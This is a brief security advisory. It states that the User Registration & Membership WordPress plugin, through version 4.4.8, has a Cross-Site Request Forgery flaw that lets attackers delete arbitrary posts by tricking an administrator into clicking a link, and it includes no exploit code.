Description

The User Registration & Membership – Custom Registration Form Builder, Custom Login Form, User Profile, Content Restriction & Membership Plugin plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 4.4.8.

This makes it possible for unauthenticated attackers to delete arbitrary post via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.
